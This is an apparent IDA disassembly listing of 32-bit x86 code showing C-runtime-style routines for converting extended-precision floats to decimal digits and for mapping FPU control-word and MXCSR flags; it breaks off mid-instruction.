cmp word ptr [ecx], 8000h mov [ebp+var_64], ecx jb short loc_41C7C0 mov esi, ecx lea edi, [ebp+var_3C] movsd movsd lea eax, [ebp+var_3C] movsd dec [ebp+var_3C+2] mov [ebp+var_64], eax mov ecx, eax loc_41C7C0: ; CODE XREF: sub_41C5C1+1EAj movzx edi, word ptr [ecx+0Ah] mov edx, [ebp+var_16] xor eax, eax mov ecx, edi mov esi, 7FFFh xor ecx, edx and edx, esi and edi, esi mov [ebp+var_48], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax and ecx, 8000h cmp dx, si lea eax, [edi+edx] movzx eax, ax jnb loc_41C9FA cmp di, si jnb loc_41C9FA cmp ax, 0BFFDh ja loc_41C9FA cmp ax, 3FBFh ja short loc_41C820 xor eax, eax mov [ebp+var_1A+2], eax mov [ebp-1Ch], eax mov [ebp+var_20], eax jmp loc_41CA16 ; --------------------------------------------------------------------------- loc_41C820: ; CODE XREF: sub_41C5C1+24Dj xor esi, esi cmp dx, si jnz short loc_41C844 inc eax test [ebp+var_1A+2], 7FFFFFFFh jnz short loc_41C844 cmp [ebp-1Ch], esi jnz short loc_41C844 cmp [ebp+var_20], esi jnz short loc_41C844 mov word ptr [ebp+var_16], si jmp loc_41CA16 ; --------------------------------------------------------------------------- loc_41C844: ; CODE XREF: sub_41C5C1+264j ; sub_41C5C1+26Ej ... cmp di, si jnz short loc_41C86D mov edx, [ebp+var_64] inc eax test dword ptr [edx+8], 7FFFFFFFh jnz short loc_41C86D cmp [edx+4], esi jnz short loc_41C86D cmp [edx], esi jnz short loc_41C86D mov [ebp+var_1A+2], esi mov [ebp-1Ch], esi mov [ebp+var_20], esi jmp loc_41CA16 ; --------------------------------------------------------------------------- loc_41C86D: ; CODE XREF: sub_41C5C1+286j ; sub_41C5C1+293j ... lea edi, [ebp+var_C] mov [ebp+var_5C], esi mov [ebp+var_44], edi mov [ebp+var_40], 5 loc_41C87D: ; CODE XREF: sub_41C5C1+332j mov edx, [ebp+var_5C] mov esi, [ebp+var_40] add edx, edx test esi, esi mov [ebp+var_50], esi jle short loc_41C8E4 lea edx, [ebp+edx+var_20] mov [ebp+var_58], edx mov edx, [ebp+var_64] add edx, 8 mov [ebp+var_54], edx loc_41C89C: ; CODE XREF: sub_41C5C1+321j mov edx, [ebp+var_58] mov esi, [ebp+var_54] movzx esi, word ptr [esi] movzx edx, word ptr [edx] mov edi, [edi-4] imul edx, esi and [ebp+var_70], 0 lea esi, [edi+edx] cmp esi, edi jb short loc_41C8BD cmp esi, edx jnb short loc_41C8C4 loc_41C8BD: ; CODE XREF: sub_41C5C1+2F6j mov [ebp+var_70], 1 loc_41C8C4: ; CODE XREF: sub_41C5C1+2FAj cmp [ebp+var_70], 0 mov edi, [ebp+var_44] mov [edi-4], esi jz short loc_41C8D3 inc word ptr [edi] loc_41C8D3: ; CODE XREF: sub_41C5C1+30Dj add [ebp+var_58], 2 sub [ebp+var_54], 2 dec [ebp+var_50] cmp [ebp+var_50], 0 jg short loc_41C89C loc_41C8E4: ; CODE XREF: sub_41C5C1+2C9j inc edi inc edi inc [ebp+var_5C] dec [ebp+var_40] cmp [ebp+var_40], 0 mov [ebp+var_44], edi jg short loc_41C87D add eax, 0C002h test ax, ax jle short loc_41C93A loc_41C8FF: ; CODE XREF: sub_41C5C1+372j test [ebp+var_8], 80000000h jnz short loc_41C935 mov edx, [ebp+var_10] mov edi, [ebp+var_C] mov esi, [ebp+var_C] shl [ebp+var_10], 1 shr edx, 1Fh add edi, edi or edi, edx mov edx, [ebp+var_8] shr esi, 1Fh add edx, edx or edx, esi add eax, 0FFFFh test ax, ax mov [ebp+var_C], edi mov [ebp+var_8], edx jg short loc_41C8FF loc_41C935: ; CODE XREF: sub_41C5C1+345j test ax, ax jg short loc_41C98C loc_41C93A: ; CODE XREF: sub_41C5C1+33Cj add eax, 0FFFFh test ax, ax jge short loc_41C98C mov edx, eax neg edx movzx edx, dx mov [ebp+var_44], edx add eax, edx loc_41C950: ; CODE XREF: sub_41C5C1+3BEj test byte ptr [ebp+var_10], 1 jz short loc_41C959 inc [ebp+var_48] loc_41C959: ; CODE XREF: sub_41C5C1+393j mov edx, [ebp+var_8] mov edi, [ebp+var_C] mov esi, [ebp+var_C] shr [ebp+var_8], 1 shl edx, 1Fh shr edi, 1 or edi, edx mov edx, [ebp+var_10] shl esi, 1Fh shr edx, 1 or edx, esi dec [ebp+var_44] mov [ebp+var_C], edi mov [ebp+var_10], edx jnz short loc_41C950 cmp [ebp+var_48], 0 jz short loc_41C98C or word ptr [ebp+var_10], 1 loc_41C98C: ; CODE XREF: sub_41C5C1+377j ; sub_41C5C1+381j ... cmp word ptr [ebp+var_10], 8000h ja short loc_41C9A5 mov edx, [ebp+var_10] and edx, 1FFFFh cmp edx, 18000h jnz short loc_41C9D8 loc_41C9A5: ; CODE XREF: sub_41C5C1+3D1j cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_41C9D5 and [ebp+var_10+2], 0 cmp [ebp+var_C+2], 0FFFFFFFFh jnz short loc_41C9D0 and [ebp+var_C+2], 0 cmp word ptr [ebp+var_8+2], 0FFFFh jnz short loc_41C9CA mov word ptr [ebp+var_8+2], 8000h inc eax jmp short loc_41C9D8 ; --------------------------------------------------------------------------- loc_41C9CA: ; CODE XREF: sub_41C5C1+3FEj inc word ptr [ebp+var_8+2] jmp short loc_41C9D8 ; --------------------------------------------------------------------------- loc_41C9D0: ; CODE XREF: sub_41C5C1+3F2j inc [ebp+var_C+2] jmp short loc_41C9D8 ; --------------------------------------------------------------------------- loc_41C9D5: ; CODE XREF: sub_41C5C1+3E8j inc [ebp+var_10+2] loc_41C9D8: ; CODE XREF: sub_41C5C1+3E2j ; sub_41C5C1+407j ... cmp ax, 7FFFh jnb short loc_41C9FA mov dx, word ptr [ebp+var_10+2] mov word ptr [ebp+var_20], dx mov edx, [ebp+var_C] mov [ebp+var_20+2], edx mov edx, [ebp+var_8] or eax, ecx mov [ebp+var_1A], edx mov word ptr [ebp+var_16], ax jmp short loc_41CA16 ; --------------------------------------------------------------------------- loc_41C9FA: ; CODE XREF: sub_41C5C1+230j ; sub_41C5C1+239j ... neg cx sbb ecx, ecx and dword ptr [ebp-1Ch], 0 and ecx, 80000000h add ecx, 7FFF8000h and [ebp+var_20], 0 mov [ebp+var_1A+2], ecx loc_41CA16: ; CODE XREF: sub_41C5C1+1D6j ; sub_41C5C1+25Aj ... test ebx, ebx jnz loc_41C789 xor eax, eax loc_41CA20: ; CODE XREF: sub_41C5C1+1ABj ; sub_41C5C1+1C2j mov ecx, [ebp+var_1A+2] shr ecx, 10h cmp cx, 3FFFh mov ebx, 7FFFh jb loc_41CC80 mov esi, [ebp+var_28+2] inc [ebp+var_4C] movzx edx, cx mov ecx, esi xor ecx, edx and edx, ebx and esi, ebx and ecx, 8000h cmp dx, bx lea edi, [esi+edx] mov [ebp+var_58], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax movzx edi, di jnb loc_41CC66 cmp si, bx jnb loc_41CC66 cmp di, 0BFFDh ja loc_41CC66 cmp di, 3FBFh ja short loc_41CA8B loc_41CA83: ; CODE XREF: sub_41C5C1+503j mov [ebp+var_1A+2], eax jmp loc_41CC7A ; --------------------------------------------------------------------------- loc_41CA8B: ; CODE XREF: sub_41C5C1+4C0j cmp dx, ax jnz short loc_41CAAD inc edi test [ebp+var_1A+2], 7FFFFFFFh jnz short loc_41CAAD cmp [ebp-1Ch], eax jnz short loc_41CAAD cmp [ebp+var_20], eax jnz short loc_41CAAD mov word ptr [ebp+var_16], ax jmp loc_41CC80 ; --------------------------------------------------------------------------- loc_41CAAD: ; CODE XREF: sub_41C5C1+4CDj ; sub_41C5C1+4D7j ... cmp si, ax jnz short loc_41CAC6 inc edi test [ebp+var_28], 7FFFFFFFh jnz short loc_41CAC6 cmp [ebp+var_2C], eax jnz short loc_41CAC6 cmp [ebp+var_30], eax jz short loc_41CA83 loc_41CAC6: ; CODE XREF: sub_41C5C1+4EFj ; sub_41C5C1+4F9j ... and [ebp+var_54], 0 lea eax, [ebp+var_C] mov [ebp+var_40], 5 loc_41CAD4: ; CODE XREF: sub_41C5C1+580j mov edx, [ebp+var_54] mov esi, [ebp+var_40] add edx, edx test esi, esi mov [ebp+var_50], esi jle short loc_41CB35 lea esi, [ebp+var_28] lea edx, [ebp+edx+var_20] mov [ebp+var_5C], esi mov [ebp+var_48], edx loc_41CAF0: ; CODE XREF: sub_41C5C1+572j mov edx, [ebp+var_5C] mov esi, [ebp+var_48] movzx esi, word ptr [esi] movzx edx, word ptr [edx] and [ebp+var_44], 0 imul edx, esi mov esi, [eax-4] lea ebx, [esi+edx] cmp ebx, esi jb short loc_41CB11 cmp ebx, edx jnb short loc_41CB18 loc_41CB11: ; CODE XREF: sub_41C5C1+54Aj mov [ebp+var_44], 1 loc_41CB18: ; CODE XREF: sub_41C5C1+54Ej cmp [ebp+var_44], 0 mov [eax-4], ebx jz short loc_41CB24 inc word ptr [eax] loc_41CB24: ; CODE XREF: sub_41C5C1+55Ej add [ebp+var_48], 2 sub [ebp+var_5C], 2 dec [ebp+var_50] cmp [ebp+var_50], 0 jg short loc_41CAF0 loc_41CB35: ; CODE XREF: sub_41C5C1+520j inc eax inc eax inc [ebp+var_54] dec [ebp+var_40] cmp [ebp+var_40], 0 jg short loc_41CAD4 add edi, 0C002h xor eax, eax cmp di, ax jle short loc_41CB8C loc_41CB50: ; CODE XREF: sub_41C5C1+5C4j test [ebp+var_8], 80000000h jnz short loc_41CB87 mov edx, [ebp+var_10] mov ebx, [ebp+var_C] mov esi, [ebp+var_C] shl [ebp+var_10], 1 shr edx, 1Fh add ebx, ebx or ebx, edx mov edx, [ebp+var_8] shr esi, 1Fh add edx, edx or edx, esi add edi, 0FFFFh cmp di, ax mov [ebp+var_C], ebx mov [ebp+var_8], edx jg short loc_41CB50 loc_41CB87: ; CODE XREF: sub_41C5C1+596j cmp di, ax jg short loc_41CBDB loc_41CB8C: ; CODE XREF: sub_41C5C1+58Dj add edi, 0FFFFh cmp di, ax jge short loc_41CBDB mov eax, edi neg eax movzx eax, ax add edi, eax loc_41CBA0: ; CODE XREF: sub_41C5C1+60Cj test byte ptr [ebp+var_10], 1 jz short loc_41CBA9 inc [ebp+var_58] loc_41CBA9: ; CODE XREF: sub_41C5C1+5E3j mov edx, [ebp+var_8] mov ebx, [ebp+var_C] mov esi, [ebp+var_C] shr [ebp+var_8], 1 shl edx, 1Fh shr ebx, 1 or ebx, edx mov edx, [ebp+var_10] shl esi, 1Fh shr edx, 1 or edx, esi dec eax mov [ebp+var_C], ebx mov [ebp+var_10], edx jnz short loc_41CBA0 xor eax, eax cmp [ebp+var_58], eax jz short loc_41CBDB or word ptr [ebp+var_10], 1 loc_41CBDB: ; CODE XREF: sub_41C5C1+5C9j ; sub_41C5C1+5D4j ... cmp word ptr [ebp+var_10], 8000h ja short loc_41CBF4 mov edx, [ebp+var_10] and edx, 1FFFFh cmp edx, 18000h jnz short loc_41CC25 loc_41CBF4: ; CODE XREF: sub_41C5C1+620j cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_41CC22 cmp [ebp+var_C+2], 0FFFFFFFFh mov [ebp+var_10+2], eax jnz short loc_41CC1D cmp word ptr [ebp+var_8+2], 0FFFFh mov [ebp+var_C+2], eax jnz short loc_41CC17 mov word ptr [ebp+var_8+2], 8000h inc edi jmp short loc_41CC25 ; --------------------------------------------------------------------------- loc_41CC17: ; CODE XREF: sub_41C5C1+64Bj inc word ptr [ebp+var_8+2] jmp short loc_41CC25 ; --------------------------------------------------------------------------- loc_41CC1D: ; CODE XREF: sub_41C5C1+640j inc [ebp+var_C+2] jmp short loc_41CC25 ; --------------------------------------------------------------------------- loc_41CC22: ; CODE XREF: sub_41C5C1+637j inc [ebp+var_10+2] loc_41CC25: ; CODE XREF: sub_41C5C1+631j ; sub_41C5C1+654j ... cmp di, 7FFFh jb short loc_41CC4A neg cx mov [ebp-1Ch], eax mov [ebp+var_20], eax sbb ecx, ecx and ecx, 80000000h add ecx, 7FFF8000h mov [ebp+var_1A+2], ecx loc_41CC46: ; CODE XREF: sub_41C5C1+6A3j xor eax, eax jmp short loc_41CC80 ; --------------------------------------------------------------------------- loc_41CC4A: ; CODE XREF: sub_41C5C1+669j mov ax, word ptr [ebp+var_10+2] mov word ptr [ebp+var_20], ax mov eax, [ebp+var_C] mov [ebp+var_20+2], eax mov eax, [ebp+var_8] or edi, ecx mov [ebp+var_1A], eax mov word ptr [ebp+var_16], di jmp short loc_41CC46 ; --------------------------------------------------------------------------- loc_41CC66: ; CODE XREF: sub_41C5C1+4A1j ; sub_41C5C1+4AAj ... neg cx sbb ecx, ecx and ecx, 80000000h add ecx, 7FFF8000h mov [ebp+var_1A+2], ecx loc_41CC7A: ; CODE XREF: sub_41C5C1+4C5j mov [ebp-1Ch], eax mov [ebp+var_20], eax loc_41CC80: ; CODE XREF: sub_41C5C1+46Fj ; sub_41C5C1+4E7j ... test [ebp+arg_10], 1 mov edx, [ebp+var_60] mov ecx, [ebp+var_4C] mov [edx], cx jz short loc_41CCC1 movsx ecx, cx add [ebp+arg_C], ecx cmp [ebp+arg_C], eax jg short loc_41CCC1 and word ptr [edx], 0 cmp word ptr [ebp+var_6C], 8000h mov byte ptr [edx+3], 1 setnz al dec al and al, 0Dh add al, 20h mov [edx+2], al mov byte ptr [edx+4], 30h mov byte ptr [edx+5], 0 jmp loc_41C670 ; --------------------------------------------------------------------------- loc_41CCC1: ; CODE XREF: sub_41C5C1+6CCj ; sub_41C5C1+6D7j push 15h pop ecx cmp [ebp+arg_C], ecx jle short loc_41CCCC mov [ebp+arg_C], ecx loc_41CCCC: ; CODE XREF: sub_41C5C1+706j mov esi, [ebp+var_1A+2] shr esi, 10h push 8 sub esi, 3FFEh mov word ptr [ebp+var_16], ax pop ebx loc_41CCDF: ; CODE XREF: sub_41C5C1+742j mov eax, [ebp+var_20] mov edi, [ebp-1Ch] mov ecx, [ebp-1Ch] shl [ebp+var_20], 1 shr eax, 1Fh add edi, edi or edi, eax mov eax, [ebp+var_1A+2] shr ecx, 1Fh add eax, eax or eax, ecx dec ebx mov [ebp-1Ch], edi mov [ebp+var_1A+2], eax jnz short loc_41CCDF test esi, esi jge short loc_41CD3B neg esi and esi, 0FFh jle short loc_41CD3B loc_41CD13: ; CODE XREF: sub_41C5C1+778j mov eax, [ebp+var_1A+2] mov edi, [ebp-1Ch] mov ecx, [ebp-1Ch] shr [ebp+var_1A+2], 1 shl eax, 1Fh shr edi, 1 or edi, eax mov eax, [ebp+var_20] shl ecx, 1Fh shr eax, 1 or eax, ecx dec esi test esi, esi mov [ebp-1Ch], edi mov [ebp+var_20], eax jg short loc_41CD13 loc_41CD3B: ; CODE XREF: sub_41C5C1+746j ; sub_41C5C1+750j mov eax, [ebp+arg_C] inc eax test eax, eax lea ebx, [edx+4] mov [ebp+var_40], ebx mov [ebp+var_4C], eax jle loc_41CE05 loc_41CD50: ; CODE XREF: sub_41C5C1+83Ej mov edx, [ebp+var_20] mov eax, [ebp-1Ch] lea esi, [ebp+var_20] lea edi, [ebp+var_3C] movsd movsd movsd shl [ebp+var_20], 1 mov edi, [ebp+var_20] shl [ebp+var_20], 1 shr edx, 1Fh lea ecx, [eax+eax] or ecx, edx mov edx, [ebp+var_1A+2] mov esi, eax shr esi, 1Fh add edx, edx or edx, esi mov eax, ecx lea esi, [ecx+ecx] shr eax, 1Fh lea ecx, [edx+edx] mov edx, [ebp+var_3C] shr edi, 1Fh or ecx, eax mov eax, [ebp+var_20] or esi, edi lea edi, [edx+eax] cmp edi, eax jb short loc_41CD9F cmp edi, edx jnb short loc_41CDB7 loc_41CD9F: ; CODE XREF: sub_41C5C1+7D8j lea eax, [esi+1] xor edx, edx cmp eax, esi jb short loc_41CDAD cmp eax, 1 jnb short loc_41CDB0 loc_41CDAD: ; CODE XREF: sub_41C5C1+7E5j xor edx, edx inc edx loc_41CDB0: ; CODE XREF: sub_41C5C1+7EAj test edx, edx mov esi, eax jz short loc_41CDB7 inc ecx loc_41CDB7: ; CODE XREF: sub_41C5C1+7DCj ; sub_41C5C1+7F3j mov eax, [ebp+var_38] lea edx, [eax+esi] cmp edx, esi mov [ebp+var_44], edx jb short loc_41CDC8 cmp edx, eax jnb short loc_41CDC9 loc_41CDC8: ; CODE XREF: sub_41C5C1+801j inc ecx loc_41CDC9: ; CODE XREF: sub_41C5C1+805j add ecx, [ebp+var_34] shr edx, 1Fh add ecx, ecx or ecx, edx lea esi, [edi+edi] mov [ebp+var_20], esi mov esi, [ebp+var_44] mov [ebp+var_1A+2], ecx shr ecx, 18h add esi, esi add cl, 30h mov eax, edi shr eax, 1Fh or esi, eax mov [ebx], cl inc ebx dec [ebp+var_4C] cmp [ebp+var_4C], 0 mov [ebp-1Ch], esi mov byte ptr [ebp+var_16+1], 0 jg loc_41CD50 loc_41CE05: ; CODE XREF: sub_41C5C1+789j dec ebx mov al, [ebx] dec ebx cmp al, 35h jge short loc_41CE1B mov ecx, [ebp+var_40] jmp short loc_41CE56 ; --------------------------------------------------------------------------- loc_41CE12: ; CODE XREF: sub_41C5C1+85Dj cmp byte ptr [ebx], 39h jnz short loc_41CE20 mov byte ptr [ebx], 30h dec ebx loc_41CE1B: ; CODE XREF: sub_41C5C1+84Aj cmp ebx, [ebp+var_40] jnb short loc_41CE12 loc_41CE20: ; CODE XREF: sub_41C5C1+854j cmp ebx, [ebp+var_40] mov eax, [ebp+var_60] jnb short loc_41CE2C inc ebx inc word ptr [eax] loc_41CE2C: ; CODE XREF: sub_41C5C1+865j inc byte ptr [ebx] loc_41CE2E: ; CODE XREF: sub_41C5C1+89Ej sub bl, al sub bl, 3 movsx ecx, bl mov [eax+3], bl mov byte ptr [ecx+eax+4], 0 mov eax, [ebp+var_74] loc_41CE41: ; CODE XREF: sub_41C5C1+B2j ; sub_41C5C1+15Bj mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn ; --------------------------------------------------------------------------- loc_41CE50: ; CODE XREF: sub_41C5C1+897j cmp byte ptr [ebx], 30h jnz short loc_41CE5A dec ebx loc_41CE56: ; CODE XREF: sub_41C5C1+84Fj cmp ebx, ecx jnb short loc_41CE50 loc_41CE5A: ; CODE XREF: sub_41C5C1+892j cmp ebx, ecx mov eax, [ebp+var_60] jnb short loc_41CE2E and word ptr [eax], 0 cmp word ptr [ebp+var_6C], 8000h mov byte ptr [eax+3], 1 setnz dl dec dl and dl, 0Dh add dl, 20h mov [eax+2], dl mov byte ptr [ecx], 30h mov byte ptr [eax+5], 0 jmp loc_41C670 sub_41C5C1 endp ; =============== S U B R O U T I N E ======================================= sub_41CE89 proc near ; CODE XREF: sub_41CFB7+C0p xor eax, eax test bl, 10h jz short loc_41CE91 inc eax loc_41CE91: ; CODE XREF: sub_41CE89+5j test bl, 8 jz short loc_41CE99 or eax, 4 loc_41CE99: ; CODE XREF: sub_41CE89+Bj test bl, 4 jz short loc_41CEA1 or eax, 8 loc_41CEA1: ; CODE XREF: sub_41CE89+13j test bl, 2 jz short loc_41CEA9 or eax, 10h loc_41CEA9: ; CODE XREF: sub_41CE89+1Bj test bl, 1 jz short loc_41CEB1 or eax, 20h loc_41CEB1: ; CODE XREF: sub_41CE89+23j test ebx, 80000h jz short loc_41CEBC or eax, 2 loc_41CEBC: ; CODE XREF: sub_41CE89+2Ej mov ecx, ebx mov edx, 300h and ecx, edx push esi mov esi, 200h jz short loc_41CEF0 cmp ecx, 100h jz short loc_41CEEB cmp ecx, esi jz short loc_41CEE4 cmp ecx, edx jnz short loc_41CEF0 or eax, 0C00h jmp short loc_41CEF0 ; --------------------------------------------------------------------------- loc_41CEE4: ; CODE XREF: sub_41CE89+4Ej or eax, 800h jmp short loc_41CEF0 ; --------------------------------------------------------------------------- loc_41CEEB: ; CODE XREF: sub_41CE89+4Aj or eax, 400h loc_41CEF0: ; CODE XREF: sub_41CE89+42j ; sub_41CE89+52j ... mov ecx, ebx and ecx, 30000h jz short loc_41CF06 cmp ecx, 10000h jnz short loc_41CF08 or eax, esi jmp short loc_41CF08 ; --------------------------------------------------------------------------- loc_41CF06: ; CODE XREF: sub_41CE89+6Fj or eax, edx loc_41CF08: ; CODE XREF: sub_41CE89+77j ; sub_41CE89+7Bj test ebx, 40000h pop esi jz short locret_41CF16 or eax, 1000h locret_41CF16: ; CODE XREF: sub_41CE89+86j retn sub_41CE89 endp ; =============== S U B R O U T I N E ======================================= sub_41CF17 proc near ; CODE XREF: sub_41CFB7:loc_41D1F0p xor eax, eax test dl, 10h jz short loc_41CF23 mov eax, 80h loc_41CF23: ; CODE XREF: sub_41CF17+5j test dl, 8 push ebx push esi push edi mov ebx, 200h jz short loc_41CF32 or eax, ebx loc_41CF32: ; CODE XREF: sub_41CF17+17j test dl, 4 jz short loc_41CF3C or eax, 400h loc_41CF3C: ; CODE XREF: sub_41CF17+1Ej test dl, 2 jz short loc_41CF46 or eax, 800h loc_41CF46: ; CODE XREF: sub_41CF17+28j test dl, 1 jz short loc_41CF50 or eax, 1000h loc_41CF50: ; CODE XREF: sub_41CF17+32j test edx, 80000h mov edi, 100h jz short loc_41CF5F or eax, edi loc_41CF5F: ; CODE XREF: sub_41CF17+44j mov ecx, edx mov esi, 300h and ecx, esi jz short loc_41CF89 cmp ecx, edi jz short loc_41CF84 cmp ecx, ebx jz short loc_41CF7D cmp ecx, esi jnz short loc_41CF89 or eax, 6000h jmp short loc_41CF89 ; --------------------------------------------------------------------------- loc_41CF7D: ; CODE XREF: sub_41CF17+59j or eax, 4000h jmp short loc_41CF89 ; --------------------------------------------------------------------------- loc_41CF84: ; CODE XREF: sub_41CF17+55j or eax, 2000h loc_41CF89: ; CODE XREF: sub_41CF17+51j ; sub_41CF17+5Dj ... mov ecx, 3000000h pop edi and edx, ecx cmp edx, 1000000h pop esi pop ebx jz short loc_41CFB1 cmp edx, 2000000h jz short loc_41CFAD cmp edx, ecx jnz short locret_41CFB6 or eax, 8000h retn ; --------------------------------------------------------------------------- loc_41CFAD: ; CODE XREF: sub_41CF17+8Aj or eax, 40h retn ; --------------------------------------------------------------------------- loc_41CFB1: ; CODE XREF: sub_41CF17+82j or eax, 8040h locret_41CFB6: ; CODE XREF: sub_41CF17+8Ej retn sub_41CF17 endp ; =============== S U B R O U T I N E ======================================= sub_41CFB7 proc near ; CODE XREF: sub_41B40F+25p ; sub_41B40F+55p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push ebp push esi push edi fstcw word ptr [esp+20h+var_C] mov ebx, [esp+20h+var_C] xor edx, edx test bl, 1 jz short loc_41CFD1 push 10h pop edx loc_41CFD1: ; CODE XREF: sub_41CFB7+15j test bl, 4 jz short loc_41CFD9 or edx, 8 loc_41CFD9: ; CODE XREF: sub_41CFB7+1Dj test bl, 8 jz short loc_41CFE1 or edx, 4 loc_41CFE1: ; CODE XREF: sub_41CFB7+25j test bl, 10h jz short loc_41CFE9 or edx, 2 loc_41CFE9: ; CODE XREF: sub_41CFB7+2Dj test bl, 20h jz short loc_41CFF1 or edx, 1 loc_41CFF1: ; CODE XREF: sub_41CFB7+35j test bl, 2 jz short loc_41CFFC or edx, 80000h loc_41CFFC: ; CODE XREF: sub_41CFB7+3Dj movzx ecx, bx mov eax, ecx mov edi, 0C00h and eax, edi mov ebp, 300h mov esi, 200h jz short loc_41D034 cmp eax, 400h jz short loc_41D02E cmp eax, 800h jz short loc_41D02A cmp eax, edi jnz short loc_41D034 or edx, ebp jmp short loc_41D034 ; --------------------------------------------------------------------------- loc_41D02A: ; CODE XREF: sub_41CFB7+69j or edx, esi jmp short loc_41D034 ; --------------------------------------------------------------------------- loc_41D02E: ; CODE XREF: sub_41CFB7+62j or edx, 100h loc_41D034: ; CODE XREF: sub_41CFB7+5Bj ; sub_41CFB7+6Dj ... and ecx, ebp jz short loc_41D044 cmp ecx, esi jnz short loc_41D04A or edx, 10000h jmp short loc_41D04A ; --------------------------------------------------------------------------- loc_41D044: ; CODE XREF: sub_41CFB7+7Fj or edx, 20000h loc_41D04A: ; CODE XREF: sub_41CFB7+83j ; sub_41CFB7+8Bj test bx, 1000h jz short loc_41D057 or edx, 40000h loc_41D057: ; CODE XREF: sub_41CFB7+98j mov esi, [esp+20h+arg_4] mov ecx, [esp+20h+arg_0] mov eax, esi not eax and eax, edx and ecx, esi or eax, ecx cmp eax, edx mov [esp+20h+var_4], eax jz loc_41D11F mov ebx, eax call sub_41CE89 movzx eax, ax mov [esp+20h+var_10], eax fldcw word ptr [esp+20h+var_10] fstcw word ptr [esp+20h+var_10] mov ebx, [esp+20h+var_10] xor edx, edx test bl, 1 jz short loc_41D09A push 10h pop edx loc_41D09A: ; CODE XREF: sub_41CFB7+DEj test bl, 4 jz short loc_41D0A2 or edx, 8 loc_41D0A2: ; CODE XREF: sub_41CFB7+E6j test bl, 8 jz short loc_41D0AA or edx, 4 loc_41D0AA: ; CODE XREF: sub_41CFB7+EEj test bl, 10h jz short loc_41D0B2 or edx, 2 loc_41D0B2: ; CODE XREF: sub_41CFB7+F6j test bl, 20h jz short loc_41D0BA or edx, 1 loc_41D0BA: ; CODE XREF: sub_41CFB7+FEj test bl, 2 jz short loc_41D0C5 or edx, 80000h loc_41D0C5: ; CODE XREF: sub_41CFB7+106j movzx ecx, bx mov eax, ecx and eax, edi jz short loc_41D0F2 cmp eax, 400h jz short loc_41D0EC cmp eax, 800h jz short loc_41D0E4 cmp eax, edi jnz short loc_41D0F2 or edx, ebp jmp short loc_41D0F2 ; --------------------------------------------------------------------------- loc_41D0E4: ; CODE XREF: sub_41CFB7+123j or edx, 200h jmp short loc_41D0F2 ; --------------------------------------------------------------------------- loc_41D0EC: ; CODE XREF: sub_41CFB7+11Cj or edx, 100h loc_41D0F2: ; CODE XREF: sub_41CFB7+115j ; sub_41CFB7+127j ... and ecx, ebp jz short loc_41D106 cmp ecx, 200h jnz short loc_41D10C or edx, 10000h jmp short loc_41D10C ; --------------------------------------------------------------------------- loc_41D106: ; CODE XREF: sub_41CFB7+13Dj or edx, 20000h loc_41D10C: ; CODE XREF: sub_41CFB7+145j ; sub_41CFB7+14Dj test bx, 1000h jz short loc_41D119 or edx, 40000h loc_41D119: ; CODE XREF: sub_41CFB7+15Aj mov eax, edx mov [esp+20h+var_4], edx loc_41D11F: ; CODE XREF: sub_41CFB7+B8j cmp dword_434D40, 0 jz loc_41D2B2 and esi, 308031Fh mov edi, esi stmxcsr [esp+20h+var_8] mov eax, [esp+20h+var_8] xor esi, esi test al, al jns short loc_41D146 push 10h pop esi loc_41D146: ; CODE XREF: sub_41CFB7+18Aj test ax, 200h jz short loc_41D14F or esi, 8 loc_41D14F: ; CODE XREF: sub_41CFB7+193j test ax, 400h jz short loc_41D158 or esi, 4 loc_41D158: ; CODE XREF: sub_41CFB7+19Cj test ax, 800h jz short loc_41D161 or esi, 2 loc_41D161: ; CODE XREF: sub_41CFB7+1A5j test ax, 1000h jz short loc_41D16A or esi, 1 loc_41D16A: ; CODE XREF: sub_41CFB7+1AEj test ax, 100h jz short loc_41D176 or esi, 80000h loc_41D176: ; CODE XREF: sub_41CFB7+1B7j mov ecx, eax mov ebp, 6000h and ecx, ebp jz short loc_41D1AB cmp ecx, 2000h jz short loc_41D1A5 cmp ecx, 4000h jz short loc_41D19D cmp ecx, ebp jnz short loc_41D1AB or esi, 300h jmp short loc_41D1AB ; --------------------------------------------------------------------------- loc_41D19D: ; CODE XREF: sub_41CFB7+1D8j or esi, 200h jmp short loc_41D1AB ; --------------------------------------------------------------------------- loc_41D1A5: ; CODE XREF: sub_41CFB7+1D0j or esi, 100h loc_41D1AB: ; CODE XREF: sub_41CFB7+1C8j ; sub_41CFB7+1DCj ... mov ebx, 8040h and eax, ebx sub eax, 40h jz short loc_41D1D3 sub eax, 7FC0h jz short loc_41D1CB sub eax, 40h jnz short loc_41D1D9 or esi, 1000000h jmp short loc_41D1D9 ; --------------------------------------------------------------------------- loc_41D1CB: ; CODE XREF: sub_41CFB7+205j or esi, 3000000h jmp short loc_41D1D9 ; --------------------------------------------------------------------------- loc_41D1D3: ; CODE XREF: sub_41CFB7+1FEj or esi, 2000000h loc_41D1D9: ; CODE XREF: sub_41CFB7+20Aj ; sub_41CFB7+212j ... mov edx, edi and edi, [esp+20h+arg_0] not edx and edx, esi or edx, edi cmp edx, esi jnz short loc_41D1F0 mov eax, esi jmp loc_41D29B ; --------------------------------------------------------------------------- loc_41D1F0: ; CODE XREF: sub_41CFB7+230j call sub_41CF17 push eax mov [esp+24h+arg_4], eax call sub_419BEE pop ecx stmxcsr [esp+20h+arg_4] mov eax, [esp+20h+arg_4] xor edx, edx test al, al jns short loc_41D212 push 10h pop edx loc_41D212: ; CODE XREF: sub_41CFB7+256j mov edi, 200h test eax, edi jz short loc_41D21E or edx, 8 loc_41D21E: ; CODE XREF: sub_41CFB7+262j test ax, 400h jz short loc_41D227 or edx, 4 loc_41D227: ; CODE XREF: sub_41CFB7+26Bj test ax, 800h jz short loc_41D230 or edx, 2 loc_41D230: ; CODE XREF: sub_41CFB7+274j test ax, 1000h jz short loc_41D239 or edx, 1 loc_41D239: ; CODE XREF: sub_41CFB7+27Dj mov esi, 100h test eax, esi jz short loc_41D248 or edx, 80000h loc_41D248: ; CODE XREF: sub_41CFB7+289j mov ecx, eax and ecx, ebp jz short loc_41D270 cmp ecx, 2000h jz short loc_41D26E cmp ecx, 4000h jz short loc_41D26A cmp ecx, ebp jnz short 